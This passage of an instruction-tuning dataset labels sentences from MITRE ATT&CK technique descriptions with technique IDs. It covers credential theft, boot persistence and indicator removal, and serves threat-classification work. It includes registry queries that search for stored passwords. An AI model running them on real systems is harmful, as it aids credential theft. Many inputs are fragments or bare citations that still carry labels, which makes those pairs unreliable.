cisco_deploy_rsa_keys)", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\n\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Some private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.", "output": "T1552.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. ### Response: T1552.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather credentials via APIs within a containers environment.", "output": "T1552.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather credentials via APIs within a containers environment. ### Response: T1552.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation:", "output": "T1552.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components.(Citation: ### Response: T1552.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Docker API)(Citation: Kubernetes API)", "output": "T1552.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Docker API)(Citation: Kubernetes API) ### Response: T1552.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons)", "output": "T1552.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment.(Citation: Unit 42 Unsecured Docker Daemons) ### Response: T1552.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server.", "output": "T1552.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. ### Response: T1552.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.", "output": "T1552.007", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components. ### Response: T1552.007."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials.", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003).", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: CG 2014)", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: CG 2014) ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller.", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: SRD GPP)", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: SRD GPP) ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware)", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They may also be found as parameters to deployment commands in container logs.(Citation:", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They may also be found as parameters to deployment commands in container logs.(Citation: ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Unit 42 Unsecured Docker Daemons)", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Unit 42 Unsecured Docker Daemons) ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)", "output": "T1552.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage) ### Response: T1552.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search the Registry on compromised systems for insecurely stored credentials.", "output": "T1552.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search the Registry on compromised systems for insecurely stored credentials. ### Response: T1552.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Windows Registry stores configuration information that can be used by the system or other programs.", "output": "T1552.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Windows Registry stores configuration information that can be used by the system or other programs. ### Response: T1552.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services.", "output": "T1552.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. ### Response: T1552.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Sometimes these credentials are used for automatic logons.", "output": "T1552.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Sometimes these credentials are used for automatic logons. ### Response: T1552.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: <code>reg query HKLM /f password /t", "output": "T1552.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Example commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: <code>reg query HKLM /f password /t ### Response: T1552.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "REG_SZ /s</code>\n*", "output": "T1552.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: REG_SZ /s</code>\n* ### Response: T1552.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Current User Hive: <code>reg query HKCU /f", "output": "T1552.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Current User Hive: <code>reg query HKCU /f ### Response: T1552.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "password /t", "output": "T1552.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: password /t ### Response: T1552.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "REG_SZ /s</code>", "output": "T1552.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: REG_SZ /s</code> ### Response: T1552.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search the bash command history on compromised systems for insecurely stored credentials.", "output": "T1552.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search the bash command history on compromised systems for insecurely stored credentials. ### Response: T1552.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Bash keeps track of the commands users type on the command-line with the \"history\" utility.", "output": "T1552.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Bash keeps track of the commands users type on the command-line with the \"history\" utility. ### Response: T1552.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Once a user logs out, the history is flushed to the user\u2019s <code>.bash_history</code> file.", "output": "T1552.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Once a user logs out, the history is flushed to the user\u2019s <code>.bash_history</code> file. ### Response: T1552.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For each user, this file resides at the same location: <code>~/.bash_history</code>.", "output": "T1552.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For each user, this file resides at the same location: <code>~/.bash_history</code>. ### Response: T1552.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically, this file keeps track of the user\u2019s last 500 commands.", "output": "T1552.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically, this file keeps track of the user\u2019s last 500 commands. ### Response: T1552.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out.", "output": "T1552.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. ### Response: T1552.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can abuse this by looking through the file for potential credentials.", "output": "T1552.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can abuse this by looking through the file for potential credentials. ### Response: T1552.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: External to DA, the OS X Way)", "output": "T1552.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: External to DA, the OS X Way) ### Response: T1552.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may directly collect unsecured credentials stored or passed through user communication services.", "output": "T1552.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may directly collect unsecured credentials stored or passed through user communication services. ### Response: T1552.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication.", "output": "T1552.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. ### Response: T1552.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.", "output": "T1552.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels. ### Response: T1552.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Rather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services.", "output": "T1552.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Rather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. ### Response: T1552.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials.", "output": "T1552.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. ### Response: T1552.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks).", "output": "T1552.008", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks). ### Response: T1552.008."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data.", "output": "T1552.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may attempt to access the Cloud Instance Metadata API to collect credentials and other sensitive data. ### Response: T1552.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance.", "output": "T1552.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Most cloud service providers support a Cloud Instance Metadata API which is a service provided to running virtual instances that allows applications to access information about the running virtual instance. ### Response: T1552.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets.", "output": "T1552.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Available information generally includes name, security group, and additional metadata including sensitive data such as credentials and UserData scripts that may contain additional secrets. ### Response: T1552.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API)", "output": "T1552.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Instance Metadata API is provided as a convenience to assist in managing applications and is accessible by anyone who can access the instance.(Citation: AWS Instance Metadata API) ### Response: T1552.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019)", "output": "T1552.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A cloud metadata API has been used in at least one high profile compromise.(Citation: Krebs Capital One August 2019) ### Response: T1552.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources.", "output": "T1552.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: If adversaries have a presence on the running virtual instance, they may query the Instance Metadata API directly to identify credentials that grant access to additional resources. ### Response: T1552.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation:", "output": "T1552.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Additionally, adversaries may exploit a Server-Side Request Forgery (SSRF) vulnerability in a public facing web proxy that allows them to gain access to the sensitive information via a request to the Instance Metadata API.(Citation: ### Response: T1552.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "RedLock Instance Metadata API 2018)", "output": "T1552.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: RedLock Instance Metadata API 2018) ### Response: T1552.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>.", "output": "T1552.005", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The de facto standard across cloud service providers is to host the Instance Metadata API at <code>http[:]//169.254.169.254</code>. ### Response: T1552.005."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may search compromised systems to find and obtain insecurely stored credentials.", "output": "T1552", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may search compromised systems to find and obtain insecurely stored credentials. ### Response: T1552."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).", "output": "T1552", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)). ### Response: T1552."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation:", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming)", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "An adversary may achieve the same goal by modifying or extending features of the kernel.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: An adversary may achieve the same goal by modifying or extending features of the kernel. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges.", "output": "T1547", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. ### Response: T1547."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.", "output": "T1547.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation. ### Response: T1547.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "A port monitor can be set through the <code>AddMonitor</code>", "output": "T1547.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: A port monitor can be set through the <code>AddMonitor</code> ### Response: T1547.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "API call to set a DLL to be loaded at startup.(Citation: AddMonitor)", "output": "T1547.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: API call to set a DLL to be loaded at startup.(Citation: AddMonitor) ### Response: T1547.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot.", "output": "T1547.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This DLL can be located in <code>C:\\Windows\\System32</code> and will be loaded by the print spooler service, spoolsv.exe, on boot. ### Response: T1547.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham)", "output": "T1547.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The spoolsv.exe process also runs under SYSTEM level permissions.(Citation: Bloxham) ### Response: T1547.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>.", "output": "T1547.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Alternatively, an arbitrary DLL can be loaded if permissions allow writing a fully-qualified pathname for that DLL to <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Monitors</code>. ### Response: T1547.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The Registry key contains entries for the following:", "output": "T1547.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The Registry key contains entries for the following: ### Response: T1547.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "*", "output": "T1547.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: * ### Response: T1547.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM.", "output": "T1547.010", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Local Port\n* Standard TCP/IP Port\n* USB Monitor\n* WSD Port\n\nAdversaries can use this technique to load malicious code at startup that will persist on system reboot and execute as SYSTEM. ### Response: T1547.010."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may delete or modify artifacts generated within systems to remove evidence of their presence or hinder defenses. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Various artifacts may be created by an adversary or something that can be attributed to an adversary\u2019s actions. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Typically these artifacts are used as defensive indicators related to monitored events, such as strings from downloaded files, logs that are generated from user actions, and other data analyzed by defenders. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Location, format, and type of artifact (such as command or login history) are often specific to each platform.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Location, format, and type of artifact (such as command or login history) are often specific to each platform. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Removal of these indicators may interfere with event collection, reporting, or other processes used to detect intrusion activity. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may compromise the integrity of security solutions by causing notable events to go unreported.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may compromise the integrity of security solutions by causing notable events to go unreported. ### Response: T1070."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This activity may also impede forensic analysis and incident response, due to lack of sufficient data to determine what occurred.", "output": "T1070", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This activity may also impede forensic analysis and incident response, due to lack of sufficient 